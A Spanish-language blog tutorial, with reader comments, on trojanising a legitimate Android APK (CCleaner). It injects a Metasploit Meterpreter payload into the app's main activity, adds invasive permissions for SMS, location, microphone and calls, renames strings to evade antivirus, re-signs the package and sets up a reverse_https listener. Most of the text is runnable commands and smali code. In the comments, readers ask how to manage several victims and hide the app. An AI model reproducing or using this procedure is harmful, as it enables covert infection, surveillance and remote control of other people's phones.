Ya sabéis que un APK es un paquete de aplicación de Android (Android
Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el
instalador en el mismo paquete.
Lo que vamos a ver a continuación es un pequeño tutorial de cómo desempaquetar un .apk, y luego modificarlo añadiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legítima a la vez que nuestro payload dejando infectado el dispositivo Android.
Cuando nos encontremos ante una auditoría podremos aplicar
esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que
lo importante es no instalar nunca aplicaciones de fuentes poco fiables.
Espero que disfrutéis de este pequeño tutorial tanto como yo lo
he disfrutado haciéndolo.
msfvenom -p android/meterpreter/Payload_Type
LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk
Luego nos
descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:
apktool d -f -o payload meterpreter.apk
apktool d -f -o original ccleaner.apk
Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform
Nos vamos la carpeta ./original/ y editamos
AndroidManifest.xml (con vim o el editor que queráis)
Buscamos
las líneas siguientes que nos servirán como guía para encontrar la ruta a la
aplicación principal que es la que nosotros queremos modificar:
<action
android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<category android:name="android.intent.category.LAUNCHER"/>
Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá
una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"
Por tanto,
ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de
./original/smali/),
nos vamos a este fichero que será algo parecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali"
, es decir, por cada "." Será una "/".
Editamos
este fichero .smali y buscamos
la línea:
;->onCreate(Landroid/os/Bundle;)V
En
la siguiente línea a esta ponemos:
invoke-static {p0},
Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Donde le indicamos que invoque nuestra
app que en este caso es el Payload de msf y después continúe con la ejecución
normal de la app legitima
Ahora
vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del
directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml
Añadiremos
los permisos que consideremos, en mi caso puse estos:
<uses-permission
android:name="android.permission.ACCESS_COURSE_LOCATION"/>
<uses-permission
android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission
android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission
android:name="android.permission.SEND_SMS"/>
<uses-permission
android:name="android.permission.RECEIVE_SMS"/>
<uses-permission
android:name="android.permission.RECORD_AUDIO"/>
<uses-permission
android:name="android.permission.CALL_PHONE"/>
Si lo que queremos es ponérselo
mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente
dentro del directorio (Esto es opcional) ./original/smali/com/metasploit
sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print
$1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut
-d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut
-d':' -f1`
Después de eso debemos de cambiar el fichero
Payload.smali por init-config.smali
también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso
deberemos de cambiar la línea
invoke-static {p0},
Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
que hemos puesto antes con el nombre correspondiente:
invoke-static {p0},
Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V
yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app,
hacemos:
apktool b original/
A continuación comenzará a construir
nuestra app.
Dentro
del directorio ./original/dist estará nuestra apk construida/compilada.
Ahora
toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro
home el directorio .android
mkdir ~/.android
Generamos
la key para firmar con:
keytool
-genkey -v -keystore ~/.android/debug.keystore -storepass android -alias
androiddebugkey -keypass android -dname "CN=Android
Debug,O=Android,C=US"
Para
firmar con esa firma hacemos:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass
android -keypass android -digestalg SHA1 -sigalg SHA1withDSA
/home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey
Ahora
nos queda dejar a la escucha el metasploit con:
msfconsole
use
exploit/multi/handler
set Payload android/meterpreter/reverse_https
set LHOST
192.168.1.135
set LPORT 8181
set
ExitOnSession False
exploit -j -z
Ejecutamos la app en el móvil:
Deberíamos ver como se conecta
nuestro meterpreter.
Nota: puede que nos pida que
habilitemos las opciones de orígenes desconocidos.
Y bueno este es el final del
manual , no voy a explicar el funcionamiento del metasploit ya que si lo
conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los
pasos y te aventures a realizar el Lab.
También dejo disponible la versión en PDF por si lo deseáis descargar:
Fuentes:
- http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/
- http://www.elandroidelibre.com/2016/02/modifica-y-clona-cualquier-aplicacion-con-apk-editor.html
- https://ibotpeaches.github.io/Apktool/documentation/
Pero eso sería "esperar" a que instale la app. Cómo sería si ya lo instaló y, por ejemplo, una semana después queremos comprobar si hay conexión y eso? Como iniciar esa sesión específica de meterpreter? Y en el caso de hacerlo con varias "víctimas" nos saldría un menú o algo así para elegir cada conexión?
ResponderEliminarEstudia primero hacking básico y a usar una herramienta como metasploit antes de intentar estas cosas anda.... No quieras correr antes de caminar, que se ve que no tienes ni idea
EliminarSi ya instalo la app, seria buscar otro tipo de vulnerabilidad como que visite un enlace malicioso o que vuelva a instalar la app como una actualizacion, en caso de que se establezca persistencia , bastaria con dejar ejecutado el exploit/multi/handler de metasploit para permitir que se conecten y para ver las sesiones activas basta hacer un sessions -l o sessions (en el metasploit) y verias todos los dispositivos conectados , mas info: https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/
ResponderEliminarCarlos está perfectamente explicado. Enhorabuena amigo.
ResponderEliminarCarlos está perfectamente explicado. Enhorabuena amigo.
ResponderEliminarno entendi esta parte, quien me explica?
ResponderEliminarSi lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit
sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`
Estas modificando path absolutos por relativos, con rgrep realizas la busqueda recursiva en el directorio al marcarlo con "./*" printando el primer campo del resultado delimitado por espacios (awk) siendo a su vez delimitado por el caracter ':' mostrando el nombre del fichero, que se entiende que es el primero campo.
EliminarQue me corrija el autor, pero creo que lo que se busca es que el antivirus no consiga encontrar palabras clave utilizadas en sus BBDD.
comandos como sed, awk, y cut, son muy utiles y utilizados en entornos linux.
Estas modificando path absolutos por relativos, con rgrep realizas la busqueda recursiva en el directorio al marcarlo con "./*" printando el primer campo del resultado delimitado por espacios (awk) siendo a su vez delimitado por el caracter ':' mostrando el nombre del fichero, que se entiende que es el primero campo.
EliminarQue me corrija el autor, pero creo que lo que se busca es que el antivirus no consiga encontrar palabras clave utilizadas en sus BBDD.
comandos como sed, awk, y cut, son muy utiles y utilizados en entornos linux.
Una pregunta,todo lo que se ha hecho sirve solo para la version de CCleaner en el ejemplo o para cualquier version,lo pregunto porque al editar los archivos para agregar la linea,a mi no me figura exactamente lo mismo dentro del archivo,esto puede deberse a que yo use otra version de ccleaner?????? no me quise complicar con firmas y con el tema del antivirus pero igual al final me arrojo error en mi tablet en donde la meti.Que puede haber pasado?????
ResponderEliminarno, en principio debería de valer para todas las apk que quieras, esa app la utilice como ejemplo, pero puedes meter el payload en la apk que quieras siguiente el manual.
EliminarSi quisiera editar un APK para que sea invisible, que debo hacer ?..gracias
ResponderEliminarQuisiera saber si una APK se puede modificar para que desaparezca sin dejar de funcionar , gracias
ResponderEliminarBuenas me gustaría saber cómo podría dominar esto, aprendiendo a programar en un lenguaje determinado o practicando con ejercicios de este tipo. Un saludo
ResponderEliminarMe gustaría saber cómo aprender a manejar bien esto y a bien me refiero desde 0 conociendo y pudiendo interpretar cada comando. No sé si empezar aprendiendo a programar en un lenguaje específico o practicando con ejercicios como este. Espero tu respuesta. Un saludo!
ResponderEliminarsera que se puede crear el payload que cuando no tenga saldo se conecte a internet por su cuenta asi como internet free algo asi pon cuentas ssh por el estilo
ResponderEliminarse puede colocar al payload una manera de internet gratis para que se conecte asi el usuario no tenga saldo se conecte a internet
ResponderEliminaral momento de firmar la apk, me sale este error:
ResponderEliminarjarsigner error: java.security.InvalidKeyException: The security strength of SHA-1 digest algorithm is not sufficient for this key size
Como se pudiera inyectar en un apk, pero desde android studio?
ResponderEliminaramigo tengo una apk para iptv y quiero insertar el url de mi server para que quede por defaul y tambien quitar la publicidad que sale. los molestos pop ups me puedes ayudar....mi email es vipfmhd@gmail.com
ResponderEliminarOye una pregunta como puedo crear un payload para la ultima versión de Android (Android 11) si me dicen gracias :)
ResponderEliminarComo seria para hacerlo con 8 Ball pool ya que no son las mismas carpetas
ResponderEliminaral usar estos comandos dentro de la carpeta /original/smali/com/metasploit/
ResponderEliminarsed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`
al poner el 1er código, al parecer se ejecuta bien, peroal colocar el 2do y 3er código me da este error:
─# sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1` sed: -e expression #1, char 19: unterminated `s' command
Alguien me ayuda como ejecutar correctamente estos comandos?
dejo mi contacto, alguien expliqueme por favor.
https://t.me/SiriusBTupa
a mi me arroja el siguiente error:
ResponderEliminarI: Using Apktool 2.7.0-dirty
I: Checking whether sources has changed...
I: Checking whether sources has changed...
I: Smaling smali_classes4 folder into classes4.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Lp/kax;->values()[Lp/kax;
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1058)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:354)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:309)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:58)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:37)
at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:437)
at brut.androlib.Androlib.buildNonDefaultSources(Androlib.java:383)
at brut.androlib.Androlib.build(Androlib.java:321)
at brut.androlib.Androlib.build(Androlib.java:287)
at brut.apktool.Main.cmdBuild(Main.java:263)
at brut.apktool.Main.main(Main.java:82)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x4
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1331)
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1054)
... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65536
at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
at org.jf.dex
antes me decia que la variable v22 deberia estar entre un cierto rango entonce encontre que al añadir la linea invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
lo hiciera con invoke-static/range
pero ahora encuntro ese error que le coloco y el problema es que la app teine muchas carpetas smali, y no se como solucionar ya